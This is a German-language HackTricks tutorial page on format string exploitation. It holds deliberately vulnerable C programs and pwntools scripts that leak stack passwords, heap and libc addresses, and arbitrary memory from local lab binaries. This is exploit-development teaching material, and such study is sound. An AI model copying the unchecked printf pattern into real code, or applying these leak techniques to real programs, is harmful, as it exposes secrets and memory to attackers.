Format Strings - Arbitrary Read Example
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Binary lesen — Beginn
Code
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
Kompiliere es mit:
clang -o fs-read fs-read.c -Wno-format-security -no-pie
Exploit
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
- The offset is 11 because setting several As and brute-forcing with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes
|in our case), it’s possible to control a full address. - I used
%11$pwith padding until I so that the address was all 0x4141414141414141 - The format string payload is BEFORE the address because the printf stops reading at a null byte, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before
- The address selected is 0x00400000 because it’s where the binary starts (no PIE)
Passwörter lesen
Verwundbare binary mit stack- und BSS-Passwörtern
```c #includechar bss_password[20] = “hardcodedPassBSS”; // Password in BSS
int main() { char stack_password[20] = “secretStackPass”; // Password in stack char input1[20], input2[20];
printf(“Enter first password: “); scanf(”%19s“, input1);
printf(“Enter second password: “); scanf(”%19s“, input2);
// Vulnerable printf printf(input1); printf(“\n”);
// Check both passwords if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { printf(“Access Granted.\n”); } else { printf(“Access Denied.\n”); }
return 0; }
</details>
Kompiliere es mit:
```bash
clang -o fs-read fs-read.c -Wno-format-security
Vom stack lesen
Die Variable stack_password wird im stack gespeichert, weil sie eine lokale Variable ist, daher reicht es, printf auszunutzen, um den Inhalt des stack anzuzeigen. Dies ist ein Exploit, um die ersten 100 Positionen mit BF zu durchgehen, um die Passwörter vom stack zu leak:
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
Auf dem Bild ist zu sehen, dass wir das Passwort vom Stack an der 10th Position leak:
.png)
.png)
Daten lesen
Wenn man denselben Exploit mit %p statt %s ausführt, ist es möglich, eine Heap-Adresse vom Stack bei %25$p zu leak. Außerdem kann man durch den Vergleich der geleakten Adresse (0xaaaab7030894) mit der Position des Passworts im Speicher dieses Prozesses die Adressdifferenz ermitteln:
Jetzt ist es an der Zeit herauszufinden, wie man eine Adresse auf dem Stack kontrolliert, um von der zweiten format string vulnerability darauf zugreifen zu können:
Kontrollierbare Stack-Adresse finden
```python from pwn import *def leak_heap(p): p.sendlineafter(b“first password:“, b”%5$p“) p.recvline() response = p.recvline().strip()[2:] #Remove new line and “0x” prefix return int(response, 16)
for i in range(30): p = process(“./fs-read”)
heap_leak_addr = leak_heap(p) print(f“Leaked heap: {hex(heap_leak_addr)}“)
password_addr = heap_leak_addr - 0x126a
print(f“Try: {i}“) payload = f”%{i}$p|||“.encode() payload += b“AAAAAAAA”
p.sendline(payload) output = p.clean() print(output.decode(“utf-8”)) p.close()
</details>
Und es ist möglich zu sehen, dass wir in **try 14** mit dem verwendeten Passing eine Adresse kontrollieren können:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
<details>
<summary>Leak heap then read password</summary>
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
Automatisierung der Offset-Ermittlung
Wenn sich das Stack-Layout bei jedem Lauf ändert (full ASLR/PIE), ist manuelles bruteforcing von offsets langsam. pwntools stellt FmtStr zur Verfügung, um automatisch den Argument-Index zu ermitteln, der unseren kontrollierten buffer erreicht. Die lambda-Funktion sollte die Ausgabe des Programms zurückgeben, nachdem der candidate payload gesendet wurde. Sie stoppt, sobald sie zuverlässig Speicher beschädigen oder beobachten kann.
from pwn import *
context.binary = elf = ELF('./fs-read', checksec=False)
# helper that sends payload and returns the first line printed
io = process()
def exec_fmt(payload):
io.sendline(payload)
return io.recvuntil(b'\n', drop=False)
fmt = FmtStr(exec_fmt=exec_fmt)
offset = fmt.offset
log.success(f"Discovered offset: {offset}")
Du kannst dann offset wiederverwenden, um arbitrary read/write payloads mit fmtstr_payload zu erstellen und manuelles %p-Fuzzing zu vermeiden.
PIE/libc leak then arbitrary read
Bei modernen Binaries mit PIE und ASLR leak zuerst einen libc pointer (z. B. __libc_start_main+243 oder setvbuf), berechne die Basen und platziere dann deine Zieladresse hinter dem format string. Dadurch wird verhindert, dass das %s durch Nullbytes innerhalb des Pointers abgeschnitten wird.
Leak libc and read arbitrary address
```python from pwn import *elf = context.binary = ELF(‘./fs-read’, checksec=False) libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)
io = process()
leak libc address from stack (offset 25 from previous fuzz)
io.sendline(b“%25$p“) io.recvline() leak = int(io.recvline().strip(), 16) libc.address = leak - libc.symbols[‘__libc_start_main’] - 243 log.info(f“libc @ {hex(libc.address)}“)
secret = libc.address + 0x1f7bc # adjust to your target
payload = f“%14$s|||“.encode() payload += p64(secret)
io.sendline(payload) print(io.recvuntil(b“|||“)) # prints string at calculated address
</details>
## Quellen
- [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
- [Format string exploitation notes](https://hackmd.io/%40e20gJPRhRbKrBY5xcGKngA/SyM_Wcg_A)
> [!TIP]
> Lernen & üben Sie AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lernen & üben Sie GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Lernen & üben Sie Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Unterstützen Sie HackTricks</summary>
>
> - Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
> - **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
>
> </details>


